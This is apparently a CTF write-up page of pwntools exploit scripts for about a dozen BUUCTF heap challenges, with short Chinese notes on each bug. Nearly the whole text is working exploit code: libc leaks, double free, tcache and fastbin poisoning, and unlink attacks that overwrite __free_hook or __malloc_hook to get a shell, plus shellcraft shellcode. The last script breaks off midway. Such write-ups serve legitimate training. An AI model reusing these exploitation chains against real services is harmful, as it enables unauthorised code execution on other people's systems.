1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_s_2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =26722 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/10xg $rebase(0x202060) " "" gdb.attach(io, gdbscript=gdbscript) #name 0x100 def add(size,content): sla(b"Your choice:" , b"1" ) sla(b"size?>" ,str(size)) sa(b"content:" ,content) def free (index): sla(b"Your choice:" , b"4" ) sla(b"Index:" ,str(index)) def show(index): sla(b"Your choice:" , b"3" ) sla(b"Index:" ,str(index)) def edit(index,content): sla(b"Your choice:" , b"2" ) sla(b"Index:" ,str(index)) sa(b"New content:" ,content) add(0x418 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) free (0 )add(0x18 ,b"a" ) show(0 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f0e86c41000 -0x7f0e8702d061 add(0 ,b"\n" ) sla(b"Your choice:" , b"2" ) sla(b"Index:" ,str(2 )) free (2 )add(0x18 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 ,p64(libc_base+libc.sym["system" ])) free (1 )it()
hitb2018_gundam BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gundam" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =28534 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/xg $rebase(0x20208C) x/10xg $rebase(0x2020A0) " "" gdb.attach(io, gdbscript=gdbscript) #name 0x100 def add(content): sla(b"Your choice : " , b"1" ) sa(b"The name of gundam :" ,content) sla(b"The type of the gundam :" ,b"2" ) def free (index): sla(b"Your choice : " , b"3" ) sla(b"Which gundam do you want to Destory:" ,str(index)) def show(): sla(b"Your choice : " , b"2" ) def edit(index,content): sla(b"Your choice: " , b"3" ) sla(b"Note number: " ,str(index)) sla(b"Length of note: " ,str(len(content))) sa(b"Enter your note: " ,content) add(b"a" ) add(b"a" ) for i in range(8 ): free (0 ) sla(b"Your choice : " , b"4" )#free 掉0x30 add(b"a" ) show() ru(b"Gundam[0] :" ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7f41e1686c61 +0x7f41e129b000 add(b"a" ) free (1 )free (1 )add(p64(libc_base+libc.sym["__free_hook" ])) add(b"/bin/sh\0" ) add(p64(libc_base+libc.sym["system" ])) free (1 )it()
ciscn_2019_final_2 BUUCTF在线评测 (buuoj.cn)
题目还可以
一个傻逼double free题
delete check十分傻逼,指针没有清零,一旦创建另一个就可以free
需要show两次,第一次double free需要用来修改size泄露堆地址,第二次泄露libc地址,然后利用doublefree修改文件描述符
open只会在进程里面创建文件描述符,并不会生成FILE结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_final_2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =27388 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0x10D9 ) c " "" gdb.attach(io, gdbscript=gdbscript) INT=1 SHORTINT=2 def add(choice,number): sla(b"which command?\n> " , b"1" ) if choice==INT: sla(b"short int\n>" ,b"1" ) sla(b"your inode number:" ,str(number)) else : sla(b"short int\n>" ,b"2" ) sla(b"your inode number:" ,str(number)) def free (choice): sla(b"which command?\n> " , b"2" ) if choice==INT: sla(b"short int\n>" ,b"1" ) else : sla(b"short int\n>" ,b"2" ) def show(choice): sla(b"which command?\n> " , b"3" ) if choice==INT: sla(b"short int\n>" ,b"1" ) else : sla(b"short int\n>" ,b"2" ) add(INT,0x10 ) free (INT)for i in range(32 ): add(SHORTINT,0x0 ) free (INT)add(SHORTINT,0x0 ) free (INT)show(INT) ru(b"number :" ) heap_addr=((int (rld())+1 <<32 )>>32 )-0x1 add(INT,heap_addr+0x10 ) add(INT,0x421 ) add(INT,0 ) free (INT)show(INT) ru(b"number :" ) libc_base=((int (rld())+1 <<32 )>>32 )-1 -0x3ebca0 io_addr=libc_base+0x70 +libc.sym["_IO_2_1_stdin_" ] add(INT,io_addr&0xffffffff ) add(INT,0 ) free (INT)add(SHORTINT,0 ) free (INT)add(INT,heap_addr+0x10 ) add(INT,0 ) add(INT,0 ) add(INT,666 ) sla(b"which command?\n> " , b"4" ) it()
starctf2019_girlfriend BUUCTF在线评测 (buuoj.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./chall" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28487 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/20xg $rebase(0x202060) " "" gdb.attach(io, gdbscript=gdbscript) def add(size: int , name: bytes, call: bytes): sla(b"choice:" , b"1" ) sla(b"size of girl's name\n" , str(size).encode()) sa(b"her name:\n" , name) sa(b"input her call:\n" , call) # 可以double free def free (index: int ): sla(b"choice:" , b"4" ) sla(b"the index:\n" , str(index).encode()) def show(index: int ): sla(b"choice:" , b"2" ) sla(b"the index:\n" , str(index).encode()) add(0x418 , b"a" * 0x18 , b"c" * 0xC ) add(0x28 , b"a" * 0x18 , b"c" * 0xC ) free (0 )show(0 ) ru(b"name:\n" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FC758064CA0 + 0x7FC757C79000 free (1 )free (1 )add(0x28 , p64(libc_base + libc.sym["__free_hook" ]), b"c" ) add(0x28 , b"/bin/sh\0" , b"a" ) add(0x28 , p64(libc_base + libc.sym["system" ]), b"c" ) free (1 )it()
huxiangbei_2019_namesystem BUUCTF在线评测
见csdn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./huxiangbei_2019_namesystem" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26766 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400A45 c x/20xg 0x6020A0 " "" gdb.attach(io, gdbscript=gdbscript) # 16 ~96 def add(size: int , content: bytes): sla(b"choice :\n" , b"1" ) sla("Size:" , str(size).encode()) sla(b"Name:" , content) def free (index: int ): sla(b"choice :\n" , b"3" ) sla(b"delete:" , str(index).encode()) # def show(index: int): # sla(b"choice :\n" , b"2" ) # sla(b"input note id: " , str(index).encode()) # def edit(index: int, content: bytes): # sla(b"choice: " , b"1" ) # sla(b"age of user: " , str(index).encode()) # sa(b"username: " , content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out for i in range(18 ): add(0x18 , b"a" ) add(0x58 , b"a" ) # 18 add(0x58 , b"a" ) # 19 free (17 )free (19 )for i in range(16 , -1 , -1 ): free (i) free (0 )free (0 )for i in range(18 ): add(0x18 , b"a" ) add(0x60 , b"a" ) # 18 add(0x60 , b"a" ) # 19 free (17 )free (19 )for i in range(16 , -1 , -1 ): free (i) free (0 )free (0 )add(0x58 , p64(elf.got["free" ] - 0x1E )) add(0x58 , b"%13$p" ) add(0x58 , b"/bin/sh\0" ) add(0x58 , p64(0x71 ) + b"\0" * (6 ) + p32(elf.plt["printf" ]) + b"\0" ) free (1 )libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 240 system_addr = libc_base + libc.sym["system" ] add(0x60 , p64(elf.got["free" ] - 0x16 )) add(0x60 , b"a" ) add(0x60 , b"a" ) add( 0x60 , b"a" * 6 + p32(system_addr & 0xFFFFFFFF ) + p16((system_addr & 0xFFFF00000000 ) >> 32 ), ) free (1 )it()
rootersctf_2019_heaaaappppp BUUCTF在线评测
不是什么难题,就是要借助栈来泄露libc,但不是很稳定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./rootersctf_2019_heaaaappppp" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25536 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0x13B5) c x/4xg $rebase(0x4088) " "" gdb.attach(io, gdbscript=gdbscript) # 0x20 0x30 0x40 def add(size: int , content: bytes): sla(b"choice: " , b"0" ) sla("age of user: " , str(size).encode()) sa(b"Enter username: " , content) def free (): sla(b"choice: " , b"2" ) # def show(index: int): # sla(b"5.Exit\n" , b"4" ) # sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes): sla(b"choice: " , b"1" ) sla(b"age of user: " , str(index).encode()) sa(b"username: " , content) def sendMessage(content: bytes): sla(b"choice: " , b"3" ) sa(b"Enter message to be sent: \n" , content) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out sendMessage(b"a" * 7 + b"b" + b"c" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FA84C0DE563 + 0x7FA84BAC7000 add(0x10 , b"b" * 7 ) free ()free ()edit(123 , p64(libc_base + libc.sym["__free_hook" ])) add(0x10 , p64(libc_base + one_gadget[1 ])) free ()it()
ycb_2020_easypwn BUUCTF在线评测
挺简单的一道题目,没什么好说的,利用unsorted bin泄露libc,然后double free到malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ycb_2020_easypwn" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28833 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xB76) c x/10xg $rebase(0x2020C0) " "" gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes, content2: bytes): sa(b"choice : " , b"1" ) sla(b"size of the game's name: \n" , str(size).encode()) sa(b"game's name:\n" , content) sla(b"game's message:\n" , content2) # def edit(index: int, content: bytes): # sa(b"choice :" , b"3" ) # sa(b"Index: " , str(index).encode()) # sa(b"Size: " , str(len(content)).encode()) # sa(b"Data: " , content) # 清空了 def free (index: int ): sa(b"choice : " , b"3" ) sla(b"index:\n" , str(index).encode()) def show(): sa(b"choice : " , b"2" ) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x88 , b"0" , b"a" ) add(0x88 , b"1" , b"a" ) add(0x68 , b"2" , b"a" ) free (0 )free (1 )add(0x28 , b"a" , b"b" ) show() ru(b"ame[3]'s name :" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F510DF9FB61 + 0x7F510DBDB000 add(0x68 , b"a" , b"b" ) # 1 free (1 )free (2 )free (1 )add(0x68 , p64(libc_base + libc.sym["__malloc_hook" ] - 0x23 ), b"a" ) add(0x68 , b"a" , b"b" ) add(0x68 , b"a" , b"b" ) add(0x68 , b"a" * 0x13 + p64(one_gadget[3 ] + libc_base), b"b" ) sa(b"choice : " , b"1" ) it() exit (0 )
gyctf_2020_some_thing_interesting BUUCTF在线评测
比较简单的double free需要利用格式化字符串泄露栈地址strncmp只会比较对应长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_some_thing_interesting" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 26665 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xF63) c x/4xg $rebase(0x2020E0) x/4xg $rebase(0x202140) x/4xg $rebase(0x2021A0) x/4xg $rebase(0x202080) " "" gdb.attach(io, gdbscript=gdbscript) # <=0x70 舞动 def add(size: int , content: bytes, sizet: int , contentt: bytes): sla(b"want to do :" , b"1" ) sla(b"> O's length : " , str(size).encode()) sa(b"> O : " , content) sla(b"> RE's length : " , str(sizet).encode()) sa(b"> RE : " , contentt) def edit(index: int , content: bytes, contentt: bytes): sla(b"want to do :" , b"2" ) sa(b"> O : " , content) sa(b"> RE : " , contentt) # 没有清空,只删除 def free (index: int ): sla(b"want to do :" , b"3" ) sla(b"> Oreo ID : " , str(index).encode()) def show(index: int ): sla(b"want to do :" , b"4" ) sla(b"> Oreo ID : " , str(index).encode()) def check(): sla(b"want to do :" , b"0" ) sa(b"code please:" , b"OreOOrereOOreO%17$p" ) check() ru(b"OreOOrereOOreO" ) libc_base = int (r(14 ), 16 ) - 0x7F6CA166A830 + 0x7F6CA164A000 malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x68 , b"a" , 0x68 , b"c" ) free (1 )free (1 )add(0x68 , p64(malloc_hook_addr - 0x23 ), 0x68 , b"a" ) add(0x68 , b"a" , 0x68 , b"a" * 0x13 + p64(libc_base + one_gadget[3 ])) sla(b"want to do :" , b"1" ) # debug() sla(b"> O's length : " , str(0x10 ).encode()) it()
ciscn_2019_en_3 BUUCTF在线评测
一个简简单单的double free
有一个_printf_chk,不能直接用%n$p,但还是可以直接多个%p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_en_3" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 27134 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/10xg $rebase(0x202060) x/xg $rebase(0x20204C) " "" gdb.attach(io, gdbscript=gdbscript) # 没洞 def add(size: int , content: bytes): sla(b"choice:" , b"1" ) sla(b"size of story: \n" , str(size).encode()) sa(b"inpute the story: \n" , content) # 没有清空 def free (index: int ): sla(b"choice:" , b"4" ) sla(b"input the index:\n" , str(index).encode()) sa(b"name?\n" , b"%p" * 0x10 ) r(4 ) libc_base = int (r(14 ), 16 ) - 0x7F9AECC0E081 + 0x7F9AECAFE000 free_hook_addr = libc_base + libc.sym["__free_hook" ] sa(b"Please input your ID.\n" , b"a" * 8 ) add(0x18 , b"a" * 0x18 ) free (0 )free (0 )free (0 )add(0x18 , p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )# debug() it()
calloc rctf2018_babyheap BUUCTF在线评测
一个挺不错的题目
calloc不会调用tcache,所以只能用fastbin attack
unosrted bin unlink
还可以的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./babyheap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25080 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *$rebase(0xD3E) c x/xg $rebase(0x202020) " "" gdb.attach(io, gdbscript=gdbscript) # <=256 calloc off by one def add(size: int , content: bytes): sa(b"choice: " , b"1" ) sa(b"chunk size: " , str(size).encode()) sla(b"content: " , content) # def edit(index: int, content: bytes): # sa(b"choice :" , b"3" ) # sa(b"Index: " , str(index).encode()) # sa(b"Size: " , str(len(content)).encode()) # sa(b"Data: " , content) # 清空了 def free (index: int ): sa(b"choice: " , b"3" ) sa(b"index: " , str(index).encode()) def show(index: int ): sa(b"choice: " , b"2" ) sa(b"index: " , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0xF8 , b"a" ) for i in range(10 ): add(0x68 , b"a" ) for i in range(8 ): add(0xF8 , b"a" ) for i in range(9 , 1 , -1 ): free (i) for i in range(7 ): free (12 + i) free (10 )add(0x68 , b"a" * 0x60 + p64(0x70 * 10 + 0x100 )) free (0 )free (11 )add(0xF8 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(rld().ljust(8 , b"\0" )) - 0x7FE03BD97CA0 + 0x7FE03B9AC000 add(0x48 , b"a" ) malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x28 , b"a" * 0x18 + p64(0x71 ) + p64(malloc_hook_addr - 0x23 )) add(0x68 , b"a" ) add(0x68 , b"a" * 0x13 + p64(one_gadget[1 ] + libc_base)) sa(b"choice: " , b"1" ) sa(b"chunk size: " , str(0x18 ).encode()) it() exit (0 )
gyctf_2020_signin BUUCTF在线评测
分析好libc源码,calloc不会从tcache中取,_int_malloc会把在fastbin的空闲块移到tcache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_signin" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25674 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x40148F c x/6xg 0x4040E0 x/6xg 0x404160 " "" gdb.attach(io, gdbscript=gdbscript) def add(size: int ): sla(b"your choice?" , b"1" ) sla(b"idx?\n" , str(size).encode()) def edit(index: int , content: bytes): sla(b"your choice?" , b"2" ) sla(b"idx?\n" , str(index).encode()) sl(content) def backdoor(): sla(b"your choice?" , b"6" ) def free (index: int ): sla(b"your choice?" , b"3" ) sla(b"idx?\n" , str(index).encode()) for i in range(8 ): add(i) for i in range(8 ): free (i) add(8 ) edit(7 , p64(0x4040C0 - 0x10 )) backdoor() it()
unlink sctf_2019_easy_heap 这个题目算是简单题,有些东西就忘了,大概就是传统的unlink打法,然后malloc_hook和main_area地址比较接近,只要bss有main_aren地址之后,就可以直接改偏移,然后打malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./sctf_2019_easy_heap" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path: libc = ELF(f"{lib_path}/libc.so.6") else: libc=elf.libc if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 27196 io = remote(remote_ip, remote_port) else: if lib_path: io = process(parm,env= {'LD_LIBRARY_PATH': lib_path}) else: io = process(parm) def debug(): global io gdbscript = """ b c x/20xg $rebase(0x202060) x/xg $rebase(0x202040) """ gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close() gdbscript = """ b *$rebase(0x1134) c """ if lib_path: io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript) else: io=gdb.debug(parm, gdbscript=gdbscript) #0x1000 def add(size): sla(b">> ",b"1") sla(b"Size: ",str(size)) def free(idx): sla(b">> ",b"2") sla(b"Index: ",str(idx)) # def show(idx): # sla(b"6. Bye :)\n",b"4") # sla(b"ID:",str(idx)) #off by null def edit(idx,content): sla(b">> ",b"3") sla(b"Index: ",str(idx)) sa(b"Content: ",content) # def rol(val,k): # s=bin(val)[2:] # return int(s[k:]+s[:k],2) # def ror(val,k): # s=bin(val)[2:] # return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2:] + out # out = "0x" + out # return out #debug_force() ru(b"Mmap: ") shellcode_addr=int(rld(),16) shellcode=asm(shellcraft.sh()) add(0X418) ru(b"chunk at [0] Pointer Address ") bss_addr=int(rld(),16)-8 add(0x18) add(0x28) add(0x4f8) add(0x18) free(0) edit(2,b"a"*0x20+p64(0x470)) free(3) free(1) add(0x418) add(0x18) add(0x28) add(0x18) free(3) 